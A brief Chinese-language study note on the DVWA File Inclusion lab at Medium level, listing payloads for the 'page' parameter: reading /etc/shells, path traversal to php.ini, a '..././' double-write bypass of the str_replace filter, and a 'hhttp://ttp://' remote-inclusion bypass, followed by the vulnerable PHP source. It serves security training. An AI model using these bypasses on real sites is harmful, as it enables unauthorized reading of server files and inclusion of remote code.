5.File Inclusion（Medium）——小白笔记——文件包含漏洞

0x01：文件包含（Medium）

1.本地

1.绝对路径：?page=/etc/shells            //没有被过滤

3.相对路径：?page=../../../dvwa/php.ini        //被过滤

4.相对路径绕过：?page=..././..././..././dvwa/php.ini            //在每个../前面添加一个. 以及后面添加一个./         //双写绕过

2.远程：

1.远程文件包含：?page=http://127.0.0.1/fit/f1.txt        //被过滤

2.远程双写绕过：?page=hhttp://ttp://127.0.0.1/fit/f1.txt        //双写绕过

2.上源码： File ：Inclusion Source

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?> 

str_replace函数过滤了什么？
1.http://和https://被替换为空
2.../和..\被替换为空